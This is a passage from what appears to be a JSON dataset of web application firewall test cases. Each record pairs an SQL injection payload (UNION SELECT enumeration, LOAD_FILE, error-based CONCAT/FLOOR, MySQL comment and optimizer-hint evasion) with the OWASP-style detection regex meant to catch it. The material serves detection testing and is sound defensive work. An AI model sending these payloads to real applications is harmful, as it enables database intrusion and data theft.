"(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816 - Known false positive" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "2020-03-01 UNION ALL SELECT CONCAT" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "x\"; SELECT LOAD_FILE('" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-1 UNION SELECT null,123456,null,null,null,null--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "(CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(112)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6557=6557" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT('vbulletin','rce',@@version)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "(SELECT 4440 FROM(SELECT COUNT(*),CONCAT(0x716b627a71,(SELECT (ELT(4440=4440,1))),0x7170716271,FLOOR" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "2759399466.1534185336 -6863 union all select 1,1,1,1,1,1,1,1,1,CONCAT" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=9999+or+{if+length((/*!5000select+username/*!50000from*/user+where+id=1))>0}" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)/\\*[\\s\\x0b]*?[!\\+](?:[\\s\\x0b\\(\\)\\-0-9=A-Z_a-z]+)?\\*/", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942500", "test_description": "Use of portability comment (/*!...*/) as evasion technique" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=9999+or+{if+length((/*+!5000select+username/*!50000from*/user+where+id=1))>0}" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)/\\*[\\s\\x0b]*?[!\\+](?:[\\s\\x0b\\(\\)\\-0-9=A-Z_a-z]+)?\\*/", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942500", "test_description": "Use of portability comment (/*!...*/) as evasion technique, with space before !" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=9999+or+%2F*%2Boptimizer+hint+*%2F+true" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)/\\*[\\s\\x0b]*?[!\\+](?:[\\s\\x0b\\(\\)\\-0-9=A-Z_a-z]+)?\\*/", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942500", "test_description": "Use of optimizer hints (/*+...*/) as evasion technique" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=9999+or+%2F*+%2Boptimizer+hint+*%2F+true" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)/\\*[\\s\\x0b]*?[!\\+](?:[\\s\\x0b\\(\\)\\-0-9=A-Z_a-z]+)?\\*/", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942500", 